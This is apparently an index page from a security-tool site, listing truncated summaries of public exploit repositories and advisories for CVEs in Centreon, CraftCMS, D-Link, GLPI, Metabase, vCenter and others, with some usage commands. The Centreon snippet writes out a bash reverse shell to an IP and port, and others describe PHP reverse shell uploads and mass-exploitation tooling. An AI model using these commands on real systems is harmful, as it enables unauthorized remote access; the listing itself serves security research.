CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous Proceed by clicking Add as shown in the image below. We now create a bash reverse shell as our Miscellaneous command root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 And click Save Now we navigate to Configuration Pollers and proceed by...

Log4j-RCE-Scanner

...

CVE-2025-32432

CraftCMS CVE-2025-32432 Exploit By Chirag Artani 概要 このリポジトリには、CraftCMS バージョン 4.x および 5.x に影響を与える事前認証リモートコード実行（RCE）脆弱性 CVE-2025-32432 の概念実証エクスプロイトスクリプトが含まれています。この脆弱性は、CraftCMS のアセット変換生成機能に存在します。 このエクスプロイトスクリプトは、以下の手順で脆弱性の検出と確認を自動化します。 1. CraftCMS 管理ダッシュボードからの CSRF トークンの抽出 2. PHP...

CVE-2024-57376

CVE-2024-57376 Pre-auth remote code execution exploit for D-Link DSR-250 and DSR-250N Security advisory: https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415 Usage root@kitploit: $ python3 exploit.py usage: Example root@kitploit: $ python3 exploit.py 192.168.1.1 443 id...

CVE-2026-12793

CVE-2026-12793 — JetFormBuilder ≤ 3.6.2 未认证权限提升 → 插件上传 → RCE。 受影响版本 存在漏洞：= 3.6.3 快速使用 root@kitploit: 检查单个目标 python poc.py -u https://target.example --mode check 完整利用（需要现有的低权限账户） python poc.py -u https://target.example --mode exploit \ -nu subscriber -np 'Password123' -c id 批量扫描 python poc.py -l...

CVE-2026-92592

Craft CMS 4.8.0 through 4.18.5 and 5.0.0 through 5.10.12 sign an authenticated user's attacker-controlled license-shun cookie with the same key and format used to validate signed redirect parameters, because the HMAC signature is not bound to its purpose Yii's cookieValidationKey is derived from...

Dubbo-deserialization

Dubbo-deserialization CVE-2020-1948 Apache Dubbo Provider default deserialization cause RCE Dubbo Study Dubbo-exp Dubbo-poc Dubbo复现环境...

EUVD-2026-81307

djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, the djust live transport resolves the LiveView to mount from a client-supplied dotted path by calling importmodulepath, .... The module is imported — running its...

CVE-2021-4045

Exploit Title: TP-LINK Tapo c200 1.1.15 - RCE Vendor: https://www.tp-link.com/en/home-networking/cloud-camera/tapo-c200/ Version: 1.1.15 and below CVE: CVE-2021-4045 Loadable C2 botnet & massexploit Write up of vuln: https://www.hacefresko.com/posts/tp-link-tapo-c200-unauthenticated-rce...

CVE-2023-26035

CVE-2023-26035 ZoneMinder Snapshots - Unauthenticated Install Grab Repo root@kitploit: $ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git Setup Note: Install the latest version of node root@kitploit: $ npm init $ npm i axios cheerio yargs Usage root@kitploit:...

djust has an unauthenticated arbitrary module import via the WebSocket/SSE view-mount path

Impact The djust live transport resolves the LiveView to mount from a client-supplied dotted path by calling importmodulepath, .... The module is imported — running its top-level code import side effects — before the framework checks that the resolved object is a LiveView subclass and before any...

rapidscan

🟥 RapidScan v1.2 - The Multi-Tool Web Vulnerability Scanner RapidScan has been ported to Python3 i.e. v1.2. The Python2.7 codebase is available on v1.1 releases section. Download and use it if you still haven't upgraded to Python 3. Kindly note that the v1.1 Python2.7 will not be enhanced further...

CVE-2017-10271

CVE-2017-10271 identification and exploitation. Unauthenticated Weblogic RCE. https://nvd.nist.gov/vuln/detail/CVE-2017-10271 https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html root@kitploit: POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: SOMEHOSTHERE Content-Length: 12...

CVE-2025-24801

CVE-2025-24801 GLPI RCE の PoC このリポジトリには、GLPI 10.0.17 の LFI から RCE に至る脆弱性 CVE-2025-24801 を悪用する概念実証スクリプト poc.py が含まれています。自動化する内容は以下の通りです： GLPI へのログイン 文書タイプ設定の更新による .php アップロードの有効化 AJAX ファイルアップロードエンドポイントを介した PHP リバースシェルのアップロード 🛠️ インストール root@kitploit: git clone...

Mobile-Drop-Device-SOC-Detection

🛡️ Project Phantom: Mobile "Drop Device" SOC Detection Simulation This project demonstrates an end-to-end SOC laboratory workshop simulating how an unauthorized, root-less Android device Casper Via S, used as a "Drop Device" within an internal network, is detected via Wazuh SIEM when launching...

chamilo-lms-unauthenticated-big-upload-rce-poc

Chamilo LMS Unauthenticated Big Upload File RCE PoC This is a script written in Python that allows the exploitation of the Chamilo's LMS software security flaw described in CVE-2023-4220. The system is vulnerable in versions preceding 1.11.24. Usage Clone the repository to your machine and instal...

cobaltstrike_swing_xss2rce

This repository does not have a README...

CVE-2023-38646

CVE-2023-38646 Metabase Pre-Auth RCE Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1,...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 VMware vCenter の未認証RCE Metasploit エクスプロイトスクリプト 準備 root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p /.msf4/modules/exploits/multi/http cp /.msf4/modules/exploits/multi/http chmod +x...

CVE-2026-92593 Craft CMS 5.10.0 before 5.10.13 Authenticated Remote Code Execution

Craft CMS versions 5.10.0 through 5.10.12 contain an incomplete fix for CVE-2026-55794: the Controller::getPostedRedirectUrl - View::renderObjectTemplate sink remained unsandboxed, and the same fix commit added a self-signing oracle in Cp::elementLabelHtml. Because Craft/Yii HMAC tokens are not...